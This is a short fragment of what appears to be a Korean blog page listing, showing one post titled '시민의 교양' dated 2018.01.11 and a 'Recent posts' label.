시민의 교양  (1) 2018.01.11

+ Recent posts